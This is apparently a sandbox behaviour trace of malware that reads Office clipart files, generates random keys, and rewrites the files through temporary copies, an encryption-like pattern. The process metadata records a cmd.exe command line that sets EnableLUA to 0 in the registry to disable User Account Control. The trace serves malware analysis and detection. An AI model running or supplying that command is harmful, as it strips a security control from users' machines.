	[0270.666] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.666] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.667] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.667] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.668] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.668] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.669] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.669] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.670] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.670] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.671] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.671] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.672] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.672] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.672] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0270.673] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x8000, lpOverlapped=0x0) returned 1
	[0270.674] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x6c80, lpOverlapped=0x0) returned 1
	[0270.674] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000c2000*, nNumberOfBytesToWrite=0x6c80, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesWritten=0xc00033fb74*=0x6c80, lpOverlapped=0x0) returned 1
	[0270.675] ReadFile (in: hFile=0x120, lpBuffer=0xc0000c2000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000c2000*, lpNumberOfBytesRead=0xc00033fbd4*=0x0, lpOverlapped=0x0) returned 1
	[0270.675] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cbe7ec9a0749e80e8156cdafddca2f0d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cbe7ec9a0749e80e8156cdafddca2f0d")) returned 0
	[0270.675] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cbe7ec9a0749e80e8156cdafddca2f0d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cbe7ec9a0749e80e8156cdafddca2f0d")) returned 0
	[0270.675] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cbe7ec9a0749e80e8156cdafddca2f0d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cbe7ec9a0749e80e8156cdafddca2f0d")) returned 0x20
	[0270.675] CloseHandle (hObject=0x120) returned 1
	[0270.675] CloseHandle (hObject=0x1ac) returned 1
	[0270.739] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cbe7ec9a0749e80e8156cdafddca2f0d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cbe7ec9a0749e80e8156cdafddca2f0d")) returned 1
	[0270.746] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0273.099] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0276.230] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0276.810] SetEvent (hEvent=0x1a0) returned 1
	[0276.810] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0277.247] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0277.638] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0277.854] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0277.970] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0278.103] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0278.120] VirtualFree (lpAddress=0xc006f12000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0278.121] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0278.322] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0278.579] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0278.800] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0278.941] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0279.113] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0279.190] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0279.267] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0279.314] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0279.362] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x2d, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0279.558] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0279.618] SetEvent (hEvent=0xd4) returned 1
	[0279.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc44)) returned 1
	[0279.619] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.619] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.620] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0279.859] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0280.524] VirtualFree (lpAddress=0xc006ef2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0280.525] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0280.748] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x36, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0280.908] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0280.908] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0280.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0280.909] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0280.910] GetFileType (hFile=0x1b4) returned 0x1
	[0280.910] GetFileType (hFile=0x1b4) returned 0x1
	[0280.910] GetFileInformationByHandle (in: hFile=0x1b4, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0280.910] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0280.910] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0000ef000, nNumberOfBytesToRead=0x16c3, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000ef000*, lpNumberOfBytesRead=0xc0001dbb04*=0x14c3, lpOverlapped=0x0) returned 1
	[0280.971] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0000f04c3, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000f04c3*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0280.971] CloseHandle (hObject=0x1b4) returned 1
	[0280.972] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0600 | out: pbBuffer=0xc0000c0600) returned 1
	[0280.972] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0002b2940 | out: pbBuffer=0xc0002b2940) returned 1
	[0280.972] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c701 | out: pbBuffer=0xc00023c701) returned 1
	[0280.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac016e69d9191bec814a69210a800b91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac016e69d9191bec814a69210a800b91"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0280.973] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0280.973] GetFileType (hFile=0x1b4) returned 0x1
	[0280.973] WriteFile (in: hFile=0x1b4, lpBuffer=0xc0000f0800*, nNumberOfBytesToWrite=0x15c3, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc0000f0800*, lpNumberOfBytesWritten=0xc0001dbbec*=0x15c3, lpOverlapped=0x0) returned 1
	[0280.974] CloseHandle (hObject=0x1b4) returned 1
	[0280.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0280.979] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0280.979] GetFileType (hFile=0x1b4) returned 0x1
	[0280.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac016e69d9191bec814a69210a800b91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac016e69d9191bec814a69210a800b91"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0280.979] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0280.979] GetFileType (hFile=0x19c) returned 0x1
	[0280.979] ReadFile (in: hFile=0x19c, lpBuffer=0xc000382000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000382000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x15c3, lpOverlapped=0x0) returned 1
	[0280.979] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000382000*, nNumberOfBytesToWrite=0x15c3, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000382000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x15c3, lpOverlapped=0x0) returned 1
	[0280.981] ReadFile (in: hFile=0x19c, lpBuffer=0xc000382000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000382000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0280.982] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac016e69d9191bec814a69210a800b91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac016e69d9191bec814a69210a800b91")) returned 0
	[0280.982] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac016e69d9191bec814a69210a800b91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac016e69d9191bec814a69210a800b91")) returned 0
	[0280.982] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac016e69d9191bec814a69210a800b91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac016e69d9191bec814a69210a800b91")) returned 0x20
	[0280.982] CloseHandle (hObject=0x19c) returned 1
	[0280.982] CloseHandle (hObject=0x1b4) returned 1
	[0280.983] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ac016e69d9191bec814a69210a800b91" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ac016e69d9191bec814a69210a800b91")) returned 1
	[0280.985] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0280.985] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0280.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0280.986] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0280.986] GetFileType (hFile=0x1b4) returned 0x1
	[0280.986] GetFileType (hFile=0x1b4) returned 0x1
	[0280.986] GetFileInformationByHandle (in: hFile=0x1b4, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0280.986] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0280.986] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00038a000, nNumberOfBytesToRead=0x67a, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc00038a000*, lpNumberOfBytesRead=0xc0001dbb04*=0x47a, lpOverlapped=0x0) returned 1
	[0281.011] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0281.129] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00038a47a, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc00038a47a*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0281.129] CloseHandle (hObject=0x1b4) returned 1
	[0281.129] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e980 | out: pbBuffer=0xc00000e980) returned 1
	[0281.129] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0001beaf0 | out: pbBuffer=0xc0001beaf0) returned 1
	[0281.130] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001101 | out: pbBuffer=0xc000001101) returned 1
	[0281.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\875772230ff125cb7a8f43cfc7c3f014" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\875772230ff125cb7a8f43cfc7c3f014"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0281.131] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0281.131] GetFileType (hFile=0x1b4) returned 0x1
	[0281.131] WriteFile (in: hFile=0x1b4, lpBuffer=0xc00031c000*, nNumberOfBytesToWrite=0x57a, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc00031c000*, lpNumberOfBytesWritten=0xc0001dbbec*=0x57a, lpOverlapped=0x0) returned 1
	[0281.144] CloseHandle (hObject=0x1b4) returned 1
	[0281.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0281.148] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0281.148] GetFileType (hFile=0x1b4) returned 0x1
	[0281.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\875772230ff125cb7a8f43cfc7c3f014" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\875772230ff125cb7a8f43cfc7c3f014"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0281.148] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0281.148] GetFileType (hFile=0x19c) returned 0x1
	[0281.148] ReadFile (in: hFile=0x19c, lpBuffer=0xc000320000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000320000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x57a, lpOverlapped=0x0) returned 1
	[0281.148] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000320000*, nNumberOfBytesToWrite=0x57a, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000320000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x57a, lpOverlapped=0x0) returned 1
	[0281.150] ReadFile (in: hFile=0x19c, lpBuffer=0xc000320000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000320000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0281.150] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\875772230ff125cb7a8f43cfc7c3f014" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\875772230ff125cb7a8f43cfc7c3f014")) returned 0
	[0281.150] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\875772230ff125cb7a8f43cfc7c3f014" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\875772230ff125cb7a8f43cfc7c3f014")) returned 0
	[0281.150] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\875772230ff125cb7a8f43cfc7c3f014" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\875772230ff125cb7a8f43cfc7c3f014")) returned 0x20
	[0281.150] CloseHandle (hObject=0x19c) returned 1
	[0281.151] CloseHandle (hObject=0x1b4) returned 1
	[0281.151] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\875772230ff125cb7a8f43cfc7c3f014" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\875772230ff125cb7a8f43cfc7c3f014")) returned 1
	[0281.153] VirtualFree (lpAddress=0xc006eea000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0281.154] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0281.554] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) 

Process:
	id = "13"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x4e65d000"
	os_pid = "0xfd0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0xfac"
	cmd_line = "C:\\WINDOWS\\system32\\cmd.exe /C reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012ce7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 67
	os_tid = 0xfd4

	[0230.590] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff68e8e0000
	[0230.601] __set_app_type (_Type=0x1) 
	[0230.601] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff68e8f6d00) returned 0x0
	[0230.601] __getmainargs (in: _Argc=0x7ff68e919200, _Argv=0x7ff68e919208, _Env=0x7ff68e919210, _DoWildCard=0, _StartInfo=0x7ff68e91921c | out: _Argc=0x7ff68e919200, _Argv=0x7ff68e919208, _Env=0x7ff68e919210) returned 0
	[0230.601] _onexit (_Func=0x7ff68e8f7fd0) returned 0x7ff68e8f7fd0
	[0230.601] _onexit (_Func=0x7ff68e8f7fe0) returned 0x7ff68e8f7fe0
	[0230.602] _onexit (_Func=0x7ff68e8f7ff0) returned 0x7ff68e8f7ff0
	[0230.602] _onexit (_Func=0x7ff68e8f8000) returned 0x7ff68e8f8000
	[0230.602] _onexit (_Func=0x7ff68e8f8010) returned 0x7ff68e8f8010
	[0230.603] _onexit (_Func=0x7ff68e8f8020) returned 0x7ff68e8f8020
	[0230.603] GetCurrentThreadId () returned 0xfd4
	[0230.603] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfd4) returned 0x7c
	[0230.604] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff4f780000
	[0230.604] GetProcAddress (hModule=0x7fff4f780000, lpProcName="SetThreadUILanguage") returned 0x7fff4f79a990
	[0230.604] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0230.702] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0230.702] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x88d752f9d8 | out: phkResult=0x88d752f9d8*=0x0) returned 0x2
